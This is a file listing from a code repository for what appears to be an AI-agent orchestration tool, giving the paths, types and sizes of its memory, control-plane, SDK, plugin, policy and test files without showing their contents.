  • mcp/magic_tools.pyruns15,296 bytes
  • mcp/managed_tools.pyruns8,646 bytes
  • mcp/requirements.txtdoc480 bytes
  • mcp/server.pyruns152,926 bytes
  • mcp/v10_tools.pyruns13,757 bytes
  • memory/__init__.pyruns3,294 bytes
  • memory/app_graph.pyruns6,118 bytes
  • memory/consolidation.pyruns43,379 bytes
  • memory/cross_project.pyruns6,570 bytes
  • memory/embeddings.pyruns55,293 bytes
  • memory/engine.pyruns61,963 bytes
  • memory/error_log.pyruns7,062 bytes
  • memory/ingest.pyruns21,494 bytes
  • memory/knowledge_graph.pyruns10,272 bytes
  • memory/layers/__init__.pyruns737 bytes
  • memory/layers/index_layer.pyruns10,619 bytes
  • memory/layers/loader.pyruns12,657 bytes
  • memory/layers/timeline_layer.pyruns10,366 bytes
  • memory/managed_memory/__init__.pyruns4,270 bytes
  • memory/managed_memory/_beta.pyruns458 bytes
  • memory/managed_memory/client.pyruns12,291 bytes
  • memory/managed_memory/events.pyruns4,666 bytes
  • memory/managed_memory/fakes.pyruns5,147 bytes
  • memory/managed_memory/retrieve.pyruns19,683 bytes
  • memory/managed_memory/shadow_write.pyruns12,704 bytes
  • memory/namespace.pyruns19,616 bytes
  • memory/replay.pyruns7,746 bytes
  • memory/retrieval.pyruns81,485 bytes
  • memory/schemas.pyruns36,229 bytes
  • memory/storage.pyruns83,384 bytes
  • memory/token_economics.pyruns24,216 bytes
  • memory/unified_access.pyruns20,772 bytes
  • memory/vector_index.pyruns18,383 bytes
  • package-lock.jsonasset219,756 bytes
  • package.jsonruns4,748 bytes
  • packages/control-plane/.gitignoreasset17 bytes
  • packages/control-plane/bun.lockasset43,413 bytes
  • packages/control-plane/drizzle/0000_new_maelstrom.sqlasset1,406 bytes
  • packages/control-plane/drizzle/0001_group_id.sqlasset177 bytes
  • packages/control-plane/drizzle/0002_tiresome_fixer.sqlasset170 bytes
  • packages/control-plane/drizzle/0003_integrity.sqlasset258 bytes
  • packages/control-plane/drizzle/0004_cpe03_local_repos_actions.sqlasset493 bytes
  • packages/control-plane/drizzle/0005_ask.sqlasset1,323 bytes
  • packages/control-plane/drizzle/0006_token_sessions.sqlasset49 bytes
  • packages/control-plane/drizzle/0007_outcome_metrics.sqlasset813 bytes
  • packages/control-plane/drizzle/meta/0000_snapshot.jsonasset8,410 bytes
  • packages/control-plane/drizzle/meta/0001_snapshot.jsonasset8,924 bytes
  • packages/control-plane/drizzle/meta/0002_snapshot.jsonasset9,999 bytes
  • packages/control-plane/drizzle/meta/0003_snapshot.jsonasset10,770 bytes
  • packages/control-plane/drizzle/meta/0004_snapshot.jsonasset13,300 bytes
  • packages/control-plane/drizzle/meta/0005_snapshot.jsonasset19,756 bytes
  • packages/control-plane/drizzle/meta/0006_snapshot.jsonasset19,952 bytes
  • packages/control-plane/drizzle/meta/0007_snapshot.jsonasset21,007 bytes
  • packages/control-plane/drizzle/meta/_journal.jsonasset1,187 bytes
  • packages/control-plane/package.jsonruns875 bytes
  • packages/control-plane/src/ask/invoke.tsruns1,627 bytes
  • packages/control-plane/src/ask/parse.tsruns4,303 bytes
  • packages/control-plane/src/ask/policy.tsruns5,230 bytes
  • packages/control-plane/src/ask/prompt.tsruns2,236 bytes
  • packages/control-plane/src/ask/store.tsruns5,515 bytes
  • packages/control-plane/src/ask/tools.tsruns6,431 bytes
  • packages/control-plane/src/ask/tools_server.tsruns3,608 bytes
  • packages/control-plane/src/ask/worker.tsruns7,455 bytes
  • packages/control-plane/src/db/fixture-cleanup.tsruns4,173 bytes
  • packages/control-plane/src/db/migrate.tsruns1,218 bytes
  • packages/control-plane/src/db/prune.tsruns5,294 bytes
  • packages/control-plane/src/db/schema.tsruns5,796 bytes
  • packages/control-plane/src/server/answer.tsruns2,131 bytes
  • packages/control-plane/src/server/app.tsruns9,291 bytes
  • packages/control-plane/src/server/audit.tsruns806 bytes
  • packages/control-plane/src/server/auth.tsruns3,316 bytes
  • packages/control-plane/src/server/diffstat.tsruns4,380 bytes
  • packages/control-plane/src/server/ingest.tsruns4,258 bytes
  • packages/control-plane/src/server/integrity.tsruns14,326 bytes
  • packages/control-plane/src/server/legacy/routes-audit.tsruns3,654 bytes
  • packages/control-plane/src/server/legacy/routes-control.tsruns2,687 bytes
  • packages/control-plane/src/server/legacy/routes-memory.tsruns2,369 bytes
  • packages/control-plane/src/server/legacy/routes-metrics.tsruns1,238 bytes
  • packages/control-plane/src/server/legacy/routes.tsruns23,957 bytes
  • packages/control-plane/src/server/legacy/shim.tsruns12,240 bytes
  • packages/control-plane/src/server/reconcile.tsruns1,982 bytes
  • packages/control-plane/src/server/repos.tsruns4,218 bytes
  • packages/control-plane/src/server/routes/artifacts.tsruns6,022 bytes
  • packages/control-plane/src/server/routes/ask.tsruns9,052 bytes
  • packages/control-plane/src/server/routes/audit.tsruns1,015 bytes
  • packages/control-plane/src/server/routes/checkpoints.tsruns11,780 bytes
  • packages/control-plane/src/server/routes/config.tsruns18,195 bytes
  • packages/control-plane/src/server/routes/control.tsruns5,447 bytes
  • packages/control-plane/src/server/routes/cost.tsruns5,663 bytes
  • packages/control-plane/src/server/routes/cost_ledger.tsruns11,654 bytes
  • packages/control-plane/src/server/routes/doctor.tsruns3,931 bytes
  • packages/control-plane/src/server/routes/fleet.tsruns5,607 bytes
  • packages/control-plane/src/server/routes/index.tsruns3,754 bytes
  • packages/control-plane/src/server/routes/integrations.tsruns6,369 bytes
  • packages/control-plane/src/server/routes/memory.tsruns13,888 bytes
  • packages/control-plane/src/server/routes/merge_risk.tsruns14,081 bytes
  • packages/control-plane/src/server/routes/metrics.tsruns5,782 bytes
  • packages/control-plane/src/server/routes/notify.tsruns3,041 bytes
  • packages/control-plane/src/server/routes/providers.tsruns5,093 bytes
  • packages/control-plane/src/server/routes/session_control.tsruns9,562 bytes
  • packages/control-plane/src/server/routes/start.tsruns2,587 bytes
  • packages/control-plane/src/server/routes/stats.tsruns15,455 bytes
  • packages/control-plane/src/server/routes/stream.tsruns5,405 bytes
  • packages/control-plane/src/server/routes/verify.tsruns4,597 bytes
  • packages/control-plane/src/server/runs.tsruns15,360 bytes
  • packages/control-plane/src/server/serve.tsruns1,530 bytes
  • packages/control-plane/src/server/spawn.tsruns8,069 bytes
  • packages/control-plane/src/shipper/backfill.tsruns1,616 bytes
  • packages/control-plane/src/shipper/discover.tsruns4,742 bytes
  • packages/control-plane/src/shipper/ship.tsruns5,223 bytes
  • packages/control-plane/src/shipper/watch.tsruns3,308 bytes
  • packages/control-plane/tsconfig.jsonasset198 bytes
  • packages/control-plane/ui/bun.lockasset46,655 bytes
  • packages/control-plane/ui/index.htmlasset296 bytes
  • packages/control-plane/ui/package.jsonruns674 bytes
  • packages/control-plane/ui/postcss.config.jsruns67 bytes
  • packages/control-plane/ui/src/App.tsxruns16,663 bytes
  • packages/control-plane/ui/src/Live.tsxruns11,678 bytes
  • packages/control-plane/ui/src/Shell.tsxruns4,875 bytes
  • packages/control-plane/ui/src/api.tsruns11,183 bytes
  • packages/control-plane/ui/src/design/fonts.cssasset221 bytes
  • packages/control-plane/ui/src/design/primitives/index.tsxruns22,006 bytes
  • packages/control-plane/ui/src/design/tailwind.preset.tsruns1,725 bytes
  • packages/control-plane/ui/src/design/tokens.cssasset7,541 bytes
  • packages/control-plane/ui/src/display.tsruns2,354 bytes
  • packages/control-plane/ui/src/format.tsruns316 bytes
  • packages/control-plane/ui/src/index.cssasset2,475 bytes
  • packages/control-plane/ui/src/main.tsxruns278 bytes
  • packages/control-plane/ui/src/pages/ask/api.tsruns5,959 bytes
  • packages/control-plane/ui/src/pages/ask/index.tsxruns8,742 bytes
  • packages/control-plane/ui/src/pages/board/Board.tsxruns3,913 bytes
  • packages/control-plane/ui/src/pages/board/columns.tsruns760 bytes
  • packages/control-plane/ui/src/pages/board/index.tsxruns208 bytes
  • packages/control-plane/ui/src/pages/compose/api.tsruns2,270 bytes
  • packages/control-plane/ui/src/pages/compose/index.tsxruns9,453 bytes
  • packages/control-plane/ui/src/pages/compose/store.tsruns896 bytes
  • packages/control-plane/ui/src/pages/cost/data.tsruns1,233 bytes
  • packages/control-plane/ui/src/pages/cost/index.tsxruns5,027 bytes
  • packages/control-plane/ui/src/pages/home/Home.tsxruns8,580 bytes
  • packages/control-plane/ui/src/pages/home/index.tsxruns119 bytes
  • packages/control-plane/ui/src/pages/integrations/index.tsxruns4,907 bytes
  • packages/control-plane/ui/src/pages/merge/index.tsxruns7,050 bytes
  • packages/control-plane/ui/src/pages/models/index.tsxruns3,353 bytes
  • packages/control-plane/ui/src/pages/plans/Plans.tsxruns5,498 bytes
  • packages/control-plane/ui/src/pages/plans/api.tsruns1,287 bytes
  • packages/control-plane/ui/src/pages/plans/index.tsxruns313 bytes
  • packages/control-plane/ui/src/pages/plans/logic.tsruns7,922 bytes
  • packages/control-plane/ui/src/pages/receipts/Receipts.tsxruns4,283 bytes
  • packages/control-plane/ui/src/pages/receipts/api.tsruns2,358 bytes
  • packages/control-plane/ui/src/pages/receipts/index.tsxruns139 bytes
  • packages/control-plane/ui/src/pages/registry.tsruns2,643 bytes
  • packages/control-plane/ui/src/pages/risk/index.tsxruns3,733 bytes
  • packages/control-plane/ui/src/pages/run-controls/index.tsxruns4,148 bytes
  • packages/control-plane/ui/src/pages/run/facts.tsruns7,392 bytes
  • packages/control-plane/ui/src/pages/run/index.tsxruns29,590 bytes
  • packages/control-plane/ui/src/pages/run/model.tsruns7,384 bytes
  • packages/control-plane/ui/src/pages/run/stream.tsruns3,190 bytes
  • packages/control-plane/ui/src/pages/run/timeline.tsruns6,365 bytes
  • packages/control-plane/ui/src/pages/runs/Lists.tsxruns5,414 bytes
  • packages/control-plane/ui/src/pages/runs/OutcomeChip.tsxruns653 bytes
  • packages/control-plane/ui/src/pages/runs/data.tsruns1,448 bytes
  • packages/control-plane/ui/src/pages/runs/index.tsxruns7,375 bytes
  • packages/control-plane/ui/src/pages/runs/issues.tsruns5,649 bytes
  • packages/control-plane/ui/src/pages/settings/config-api.tsruns1,897 bytes
  • packages/control-plane/ui/src/pages/settings/index.tsxruns11,911 bytes
  • packages/control-plane/ui/src/pages/wired.tsxruns2,689 bytes
  • packages/control-plane/ui/src/pages/workspaces/Workspaces.tsxruns5,306 bytes
  • packages/control-plane/ui/src/pages/workspaces/index.tsxruns151 bytes
  • packages/control-plane/ui/src/pages/workspaces/logic.tsruns2,777 bytes
  • packages/control-plane/ui/src/palette/index.tsxruns6,389 bytes
  • packages/control-plane/ui/src/palette/items.tsruns2,406 bytes
  • packages/control-plane/ui/src/shell/AppShell.tsxruns8,939 bytes
  • packages/control-plane/ui/src/shell/Mascot.tsxruns1,021 bytes
  • packages/control-plane/ui/src/shell/hooks.tsruns454 bytes
  • packages/control-plane/ui/src/shell/theme.tsruns2,089 bytes
  • packages/control-plane/ui/tailwind.config.jsruns227 bytes
  • packages/control-plane/ui/tsconfig.jsonasset273 bytes
  • packages/control-plane/ui/vite.config.tsruns266 bytes
  • packages/loki-seal/.claude-plugin/marketplace.jsonasset583 bytes
  • packages/loki-seal/.claude-plugin/plugin.jsonasset615 bytes
  • packages/loki-seal/README.mddoc12,719 bytes
  • packages/loki-seal/SUBMIT.mddoc4,491 bytes
  • packages/loki-seal/bin/contract.jsruns17,530 bytes
  • packages/loki-seal/bin/loki-seal.jsruns37,277 bytes
  • packages/loki-seal/demo/demo.tapeasset865 bytes
  • packages/loki-seal/demo/dry-run.shruns845 bytes
  • packages/loki-seal/demo/setup.shruns1,435 bytes
  • packages/loki-seal/hooks/hooks.jsonasset391 bytes
  • plugins/loki-mode/.claude-plugin/plugin.jsonasset859 bytes
  • plugins/loki-mode/.mcp.jsonasset185 bytes
  • plugins/loki-mode/README.mddoc5,285 bytes
  • plugins/loki-mode/commands/handoff.mddoc501 bytes
  • plugins/loki-mode/commands/loki-grill.mddoc1,744 bytes
  • plugins/loki-mode/commands/loki-spec-status.mddoc1,752 bytes
  • plugins/loki-mode/commands/loki-verify.mddoc2,140 bytes
  • plugins/loki-mode/commands/start.mddoc1,191 bytes
  • plugins/loki-mode/hooks/hooks.jsonasset474 bytes
  • plugins/loki-mode/scripts/loki-guard.shruns3,771 bytes
  • plugins/loki-mode/scripts/loki-stop-verify.shruns2,838 bytes
  • providers/claude.shruns39,245 bytes
  • providers/loader.shruns9,527 bytes
  • providers/managed.pyruns33,715 bytes
  • providers/model_catalog.jsonasset11,064 bytes
  • providers/model_route_exec.shruns856 bytes
  • providers/model_routes.shruns8,402 bytes
  • providers/models.shruns10,281 bytes
  • providers/opencode.shruns7,878 bytes
  • references/advanced-patterns.mddoc15,136 bytes
  • references/agent-types.mddoc32,786 bytes
  • references/business-ops.mddoc11,802 bytes
  • references/confidence-routing.mddoc10,910 bytes
  • references/core-workflow.mddoc11,247 bytes
  • references/cursor-learnings.mddoc5,536 bytes
  • references/deployment.mddoc14,297 bytes
  • references/design-archetypes.mddoc6,249 bytes
  • references/invariant-checks.mddoc5,738 bytes
  • references/lab-research-patterns.mddoc17,564 bytes
  • references/legacy-healing-patterns.mddoc15,430 bytes
  • references/magic-modules-patterns.mddoc21,839 bytes
  • references/magic-rarv-integration.mddoc4,345 bytes
  • references/mcp-integration.mddoc9,976 bytes
  • references/memory-system.mddoc49,326 bytes
  • references/openai-patterns.mddoc17,153 bytes
  • references/prompt-repetition.mddoc5,461 bytes
  • references/quality-control.mddoc11,994 bytes
  • references/sdk-mode.mddoc5,189 bytes
  • references/sdlc-phases.mddoc9,518 bytes
  • references/task-queue.mddoc9,145 bytes
  • references/tool-orchestration.mddoc22,635 bytes
  • schemas/features.schema.jsonasset2,072 bytes
  • schemas/loki-yaml.schema.jsonasset4,768 bytes
  • schemas/manifest.schema.jsonasset2,237 bytes
  • schemas/migration-plan.schema.jsonasset3,358 bytes
  • schemas/outcome-contract.schema.jsonasset2,426 bytes
  • schemas/seams.schema.jsonasset2,576 bytes
  • schemas/status-result.schema.jsonasset1,054 bytes
  • schemas/why-result.schema.jsonasset2,322 bytes
  • scripts/cp-closure.pyruns1,275 bytes
  • scripts/dep-inventory.pyruns74,877 bytes
  • scripts/dogfood-stats.shruns4,439 bytes
  • scripts/generate-stale-zero.shruns4,282 bytes
  • scripts/global-guards.tsvasset1,492 bytes
  • scripts/install-gitleaks.shruns5,568 bytes
  • scripts/install-hooks.shruns769 bytes
  • scripts/local-ci.shruns2,153 bytes
  • scripts/loki-wrapper.shruns9,955 bytes
  • scripts/measure-run.shruns6,913 bytes
  • scripts/npm-dist-tags.shruns3,907 bytes
  • scripts/release-notes.shruns7,906 bytes
  • scripts/release.shruns41,597 bytes
  • scripts/select-tests.shruns38,023 bytes
  • scripts/skill-toc.shruns2,856 bytes
  • scripts/smoke-install.shruns10,290 bytes
  • scripts/sync-to-vibe-kanban.shruns5,872 bytes
  • scripts/update-changelog.shruns5,983 bytes
  • scripts/usage-governor.pyruns60,150 bytes
  • scripts/verify-pr-sandbox.shruns10,130 bytes
  • scripts/vibe-sync-watcher.shruns3,281 bytes
  • scripts/vpr-pytest-boot/loki_vpr_boot.pyruns9,010 bytes
  • scripts/vpr-pytest-boot/loki_vpr_plugin.pyruns1,823 bytes
  • scripts/vpr-pytest-boot/loki_vpr_site.pyruns640 bytes
  • sdk/python/LICENSEasset6,658 bytes
  • sdk/python/README.mddoc1,207 bytes
  • sdk/python/loki_mode_sdk/__init__.pyruns905 bytes
  • sdk/python/loki_mode_sdk/auth.pyruns543 bytes
  • sdk/python/loki_mode_sdk/client.pyruns10,702 bytes
  • sdk/python/loki_mode_sdk/events.pyruns973 bytes
  • sdk/python/loki_mode_sdk/sessions.pyruns896 bytes
  • sdk/python/loki_mode_sdk/tasks.pyruns2,244 bytes
  • sdk/python/loki_mode_sdk/types.pyruns4,704 bytes
  • sdk/python/pyproject.tomlasset1,769 bytes
  • sdk/typescript/.npmignoreasset71 bytes
  • sdk/typescript/LICENSEasset6,658 bytes
  • sdk/typescript/README.mddoc1,306 bytes
  • sdk/typescript/dist/audit.d.tsruns517 bytes
  • sdk/typescript/dist/audit.d.ts.mapasset186 bytes
  • sdk/typescript/dist/audit.jsruns509 bytes
  • sdk/typescript/dist/audit.js.mapasset121 bytes
  • sdk/typescript/dist/client.d.tsruns1,894 bytes
  • sdk/typescript/dist/client.d.ts.mapasset2,017 bytes
  • sdk/typescript/dist/client.jsruns8,009 bytes
  • sdk/typescript/dist/client.js.mapasset6,523 bytes
  • sdk/typescript/dist/errors.d.tsruns976 bytes
  • sdk/typescript/dist/errors.d.ts.mapasset629 bytes
  • sdk/typescript/dist/errors.jsruns1,913 bytes
  • sdk/typescript/dist/errors.js.mapasset1,122 bytes
  • sdk/typescript/dist/index.d.tsruns692 bytes
  • sdk/typescript/dist/index.d.ts.mapasset385 bytes
  • sdk/typescript/dist/index.jsruns1,546 bytes
  • sdk/typescript/dist/index.js.mapasset301 bytes
  • sdk/typescript/dist/runs.d.tsruns588 bytes
  • sdk/typescript/dist/runs.d.ts.mapasset173 bytes
  • sdk/typescript/dist/runs.jsruns614 bytes
  • sdk/typescript/dist/runs.js.mapasset122 bytes
  • sdk/typescript/dist/tenants.d.tsruns568 bytes
  • sdk/typescript/dist/tenants.d.ts.mapasset168 bytes
  • sdk/typescript/dist/tenants.jsruns601 bytes
  • sdk/typescript/dist/tenants.js.mapasset127 bytes
  • sdk/typescript/dist/types.d.tsruns1,629 bytes
  • sdk/typescript/dist/types.d.ts.mapasset1,888 bytes
  • sdk/typescript/dist/types.jsruns216 bytes
  • sdk/typescript/dist/types.js.mapasset115 bytes
  • sdk/typescript/package-lock.jsonasset785 bytes
  • sdk/typescript/package.jsonruns1,132 bytes
  • sdk/typescript/scripts/normalize-package-permissions.mjsruns1,135 bytes
  • sdk/typescript/src/audit.tsruns483 bytes
  • sdk/typescript/src/client.tsruns8,520 bytes
  • sdk/typescript/src/errors.tsruns1,505 bytes
  • sdk/typescript/src/index.tsruns724 bytes
  • sdk/typescript/src/runs.tsruns555 bytes
  • sdk/typescript/src/tenants.tsruns532 bytes
  • sdk/typescript/src/types.tsruns1,498 bytes
  • sdk/typescript/tsconfig.jsonasset458 bytes
  • server.jsonasset869 bytes
  • skills/agents.mddoc9,513 bytes
  • skills/artifacts.mddoc4,858 bytes
  • skills/compound-learning.mddoc10,463 bytes
  • skills/documentation.mddoc5,015 bytes
  • skills/extending.mddoc5,589 bytes
  • skills/fixtures/demo-receipt/README.mddoc1,438 bytes
  • skills/fixtures/demo-receipt/events.jsonlasset10,255 bytes
  • skills/fixtures/demo-receipt/proof.jsonasset5,136 bytes
  • skills/fixtures/demo-receipt/pubkey.jwkasset158 bytes
  • skills/fixtures/demo-receipt/receipt.jsonasset3,600 bytes
  • skills/github-integration.mddoc9,705 bytes
  • skills/healing.mddoc24,156 bytes
  • skills/magic-modules.mddoc10,738 bytes
  • skills/memory.mddoc8,650 bytes
  • skills/mirofish-integration.mddoc4,248 bytes
  • skills/model-selection.mddoc30,678 bytes
  • skills/openspec-integration.mddoc7,181 bytes
  • skills/parallel-workflows.mddoc20,152 bytes
  • skills/patterns-advanced.mddoc6,219 bytes
  • skills/production.mddoc25,968 bytes
  • skills/providers.mddoc17,222 bytes
  • skills/quality-gates.mddoc54,319 bytes
  • skills/testing.mddoc5,801 bytes
  • skills/troubleshooting.mddoc27,448 bytes
  • src/audit/compliance-scheduler.jsruns10,401 bytes
  • src/audit/compliance.jsruns7,165 bytes
  • src/audit/crosslink.jsruns32,119 bytes
  • src/audit/index.jsruns8,400 bytes
  • src/audit/log.jsruns5,172 bytes
  • src/audit/residency.jsruns4,308 bytes
  • src/audit/subscriber.jsruns7,560 bytes
  • src/integrations/adapter.jsruns4,254 bytes
  • src/integrations/github/action-handler.jsruns7,769 bytes
  • src/integrations/github/reporter.jsruns15,109 bytes
  • src/integrations/github/templates/execution-summary.mddoc278 bytes
  • src/integrations/github/templates/quality-report.mddoc394 bytes
  • src/integrations/jira/api-client.jsruns5,019 bytes
  • src/integrations/jira/epic-converter.jsruns4,542 bytes
  • src/integrations/jira/index.jsruns1,378 bytes
  • src/integrations/jira/sync-manager.jsruns4,563 bytes
  • src/integrations/jira/webhook-handler.jsruns3,600 bytes
  • src/integrations/linear/client.jsruns9,558 bytes
  • src/integrations/linear/config.jsruns4,886 bytes
  • src/integrations/linear/index.jsruns1,019 bytes
  • src/integrations/linear/sync.jsruns9,811 bytes
  • src/integrations/slack/adapter.jsruns5,581 bytes
  • src/integrations/slack/blocks.jsruns2,704 bytes
  • src/integrations/slack/commands.jsruns1,805 bytes
  • src/integrations/slack/index.jsruns53 bytes
  • src/integrations/slack/webhook-handler.jsruns1,072 bytes
  • src/integrations/sync-subscriber.jsruns8,205 bytes
  • src/integrations/teams/adapter.jsruns5,747 bytes
  • src/integrations/teams/cards.jsruns5,105 bytes
  • src/integrations/teams/index.jsruns53 bytes
  • src/integrations/teams/webhook.jsruns395 bytes
  • src/observability/genai-spans.jsruns4,937 bytes
  • src/observability/index.jsruns4,059 bytes
  • src/observability/metrics.jsruns4,352 bytes
  • src/observability/otel-bridge.jsruns11,253 bytes
  • src/observability/otel.jsruns19,295 bytes
  • src/observability/siem-export.jsruns14,121 bytes
  • src/observability/spans.jsruns6,538 bytes
  • src/plugins/agent-plugin.jsruns3,721 bytes
  • src/plugins/gate-plugin.jsruns4,973 bytes
  • src/plugins/index.jsruns3,821 bytes
  • src/plugins/integration-plugin.jsruns6,065 bytes
  • src/plugins/loader.jsruns8,292 bytes
  • src/plugins/mcp-plugin.jsruns6,169 bytes
  • src/plugins/schemas/agent.jsonasset1,575 bytes
  • src/plugins/schemas/integration.jsonasset1,723 bytes
  • src/plugins/schemas/mcp_tool.jsonasset2,075 bytes
  • src/plugins/schemas/quality_gate.jsonasset1,542 bytes
  • src/plugins/validator.jsruns11,408 bytes
  • src/policies/approval.jsruns11,121 bytes
  • src/policies/check.jsruns2,332 bytes
  • src/policies/claude_permissions.jsruns13,101 bytes
  • src/policies/cost.jsruns18,761 bytes
  • src/policies/engine.jsruns23,113 bytes
  • src/policies/index.jsruns5,835 bytes
  • src/policies/types.jsruns12,395 bytes
  • src/protocols/a2a/agent-card.jsruns3,458 bytes
  • src/protocols/a2a/artifacts.jsruns1,827 bytes
  • src/protocols/a2a/client.jsruns5,600 bytes
  • src/protocols/a2a/index.jsruns984 bytes
  • src/protocols/a2a/streaming.jsruns2,757 bytes
  • src/protocols/a2a/task-manager.jsruns6,066 bytes
  • src/protocols/auth/oauth.jsruns5,698 bytes
  • src/protocols/mcp-circuit-breaker.jsruns3,938 bytes
  • src/protocols/mcp-client-manager.jsruns8,300 bytes
  • src/protocols/mcp-client.jsruns12,127 bytes
  • src/protocols/mcp-server.jsruns18,694 bytes
  • src/protocols/resources/continuity.jsruns1,533 bytes
  • src/protocols/resources/memory.jsruns3,670 bytes
  • src/protocols/tools/agent-metrics.jsruns5,246 bytes
  • src/protocols/tools/checkpoint-restore.jsruns6,460 bytes
  • src/protocols/tools/project-status.jsruns3,563 bytes
  • src/protocols/tools/quality-report.jsruns4,113 bytes
  • src/protocols/tools/start-project.jsruns4,352 bytes
  • src/protocols/transport/sse.jsruns6,973 bytes
  • src/protocols/transport/stdio.jsruns2,176 bytes
  • src/protocols/untrusted.jsruns1,288 bytes
  • state/__init__.pyruns248 bytes
  • state/index.tsruns347 bytes
  • state/manager.pyruns64,298 bytes
  • state/manager.tsruns48,539 bytes
  • state/sqlite_backend.pyruns7,665 bytes
  • swarm/__init__.pyruns1,923 bytes
  • swarm/adjuster.pyruns6,242 bytes
  • swarm/bft.pyruns47,729 bytes
  • swarm/calibration.pyruns5,292 bytes
  • swarm/classifier.pyruns9,445 bytes
  • swarm/cli.pyruns15,333 bytes
  • swarm/composer.pyruns8,684 bytes
  • swarm/intelligence.pyruns30,170 bytes
  • swarm/messages.pyruns22,570 bytes
  • swarm/patterns.pyruns29,230 bytes
  • swarm/performance.pyruns7,191 bytes
  • swarm/registry.pyruns21,732 bytes
  • swarm/sycophancy.pyruns4,219 bytes
  • templates/README.mddoc7,943 bytes
  • templates/agents/planner.mddoc426 bytes
  • templates/agents/reviewer.mddoc454 bytes
  • templates/agents/tester.mddoc436 bytes
  • templates/ai-chatbot.mddoc12,928 bytes
  • templates/api-only.mddoc4,135 bytes
  • templates/blog-platform.mddoc10,739 bytes
  • templates/chrome-extension.mddoc7,678 bytes
  • templates/cli-tool.mddoc7,346 bytes
  • templates/clusters/README.mddoc648 bytes
  • templates/clusters/code-review.jsonasset1,185 bytes
  • templates/clusters/performance-audit.jsonasset950 bytes
  • templates/clusters/refactoring.jsonasset924 bytes
  • templates/clusters/security-review.jsonasset1,198 bytes
  • templates/dashboard.mddoc3,960 bytes
  • templates/data-pipeline.mddoc4,008 bytes
  • templates/discord-bot.mddoc10,336 bytes
  • templates/e-commerce.mddoc11,877 bytes
  • templates/full-stack-demo.mddoc6,280 bytes
  • templates/game.mddoc4,174 bytes
  • templates/microservice.mddoc4,292 bytes
  • templates/mobile-app.mddoc8,410 bytes
  • templates/npm-library.mddoc3,875 bytes
  • templates/rest-api-auth.mddoc9,809 bytes
  • templates/rest-api.mddoc6,810 bytes
  • templates/saas-starter.mddoc7,578 bytes
  • templates/simple-todo-app.mddoc830 bytes
  • templates/slack-bot.mddoc5,140 bytes
  • templates/static-landing-page.mddoc2,224 bytes
  • templates/web-scraper.mddoc3,973 bytes
  • tests/detect-hallucinated-deps.shruns5,101 bytes
  • tests/detect-invariant-violations.shruns18,069 bytes
  • tests/detect-mock-problems.shruns23,843 bytes
  • tests/detect-semantic-test-problems.shruns17,601 bytes
  • tests/detect-test-mutations.shruns23,449 bytes
  • tests/min/auto-route.shruns21,672 bytes
  • tests/min/cli-entrypoints.shruns1,922 bytes
  • tests/min/context-pack.shruns17,985 bytes
  • tests/min/decompose-and-intake.shruns31,683 bytes
  • tests/min/detect-gates.shruns4,801 bytes
  • tests/min/dist-freshness.shruns3,048 bytes
  • tests/min/docker-and-zip-sources.shruns5,685 bytes
  • tests/min/engine10-e2e-stub.shruns20,882 bytes
  • tests/min/fixtures/context/go-ratelimit/repo/go.modasset31 bytes
  • tests/min/fixtures/context/go-ratelimit/repo/limiter/clock.goruns250 bytes
  • tests/min/fixtures/context/go-ratelimit/repo/limiter/limiter.goruns648 bytes
  • tests/min/fixtures/context/go-ratelimit/repo/limiter/limiter_test.goruns150 bytes
  • tests/min/fixtures/context/go-ratelimit/repo/server/handler.goruns369 bytes
  • tests/min/fixtures/context/go-ratelimit/repo/server/health.goruns173 bytes
  • tests/min/fixtures/context/go-ratelimit/solution/limiter/limiter.goruns683 bytes
  • tests/min/fixtures/context/go-ratelimit/task.txtdoc255 bytes
  • tests/min/fixtures/context/py-accounts/repo/accounts/__init__.pyruns0 bytes
  • tests/min/fixtures/context/py-accounts/repo/accounts/audit.pyruns242 bytes
  • tests/min/fixtures/context/py-accounts/repo/accounts/errors.pyruns65 bytes
  • tests/min/fixtures/context/py-accounts/repo/accounts/models.pyruns120 bytes
  • tests/min/fixtures/context/py-accounts/repo/accounts/service.pyruns431 bytes
  • tests/min/fixtures/context/py-accounts/repo/accounts/store.pyruns549 bytes
  • tests/min/fixtures/context/py-accounts/repo/accounts/validate.pyruns222 bytes
  • tests/min/fixtures/context/py-accounts/repo/pytest.iniasset27 bytes
  • tests/min/fixtures/context/py-accounts/repo/tests/test_service.pyruns186 bytes
  • tests/min/fixtures/context/py-accounts/solution/accounts/errors.pyruns110 bytes
  • tests/min/fixtures/context/py-accounts/solution/accounts/service.pyruns538 bytes
  • tests/min/fixtures/context/py-accounts/solution/accounts/store.pyruns581 bytes
  • tests/min/fixtures/context/py-accounts/task.txtdoc231 bytes
  • tests/min/fixtures/context/ts-invoice/opus-brief.goldenasset703 bytes
  • tests/min/fixtures/context/ts-invoice/repo/package.jsonruns57 bytes
  • tests/min/fixtures/context/ts-invoice/repo/src/customers.tsruns315 bytes
  • tests/min/fixtures/context/ts-invoice/repo/src/invoice.tsruns570 bytes
  • tests/min/fixtures/context/ts-invoice/repo/src/money.tsruns462 bytes
  • tests/min/fixtures/context/ts-invoice/repo/src/report.tsruns412 bytes
  • tests/min/fixtures/context/ts-invoice/repo/src/shipping.tsruns200 bytes
  • tests/min/fixtures/context/ts-invoice/repo/src/tax.tsruns367 bytes
  • tests/min/fixtures/context/ts-invoice/repo/test/invoice.test.tsruns250 bytes
  • tests/min/fixtures/context/ts-invoice/solution/src/invoice.tsruns591 bytes
  • tests/min/fixtures/context/ts-invoice/solution/src/money.tsruns468 bytes
  • tests/min/fixtures/context/ts-invoice/solution/src/tax.tsruns379 bytes
  • tests/min/fixtures/context/ts-invoice/task.txtdoc203 bytes
  • tests/min/fixtures/e2e/bin/clauderuns16,111 bytes
  • tests/min/fixtures/e2e/repo/bunfig.tomlasset7 bytes
  • tests/min/fixtures/e2e/repo/calc.test.tsruns344 bytes
  • tests/min/fixtures/e2e/repo/calc.tsruns70 bytes
  • tests/min/fixtures/e2e/sdk/@anthropic-ai/claude-agent-sdk-stub/clauderuns2,664 bytes
  • tests/min/fixtures/e2e/vitest-bin/npxruns550 bytes
  • tests/min/fixtures/e2e/vitest-bin/vitestruns5,258 bytes
  • tests/min/fixtures/failures/bun-suite-a.txtasset2,793 bytes
  • tests/min/fixtures/failures/bun-suite-b.txtdoc1,134 bytes
  • tests/min/fixtures/failures/cargo.txtdoc734 bytes
  • tests/min/fixtures/failures/dotnet.txtdoc749 bytes
  • tests/min/fixtures/failures/gotest.txtdoc195 bytes
  • tests/min/fixtures/failures/jest-validation.txtdoc229 bytes
  • tests/min/fixtures/failures/jest.txtasset711 bytes
  • tests/min/fixtures/failures/pytest.txtdoc906 bytes
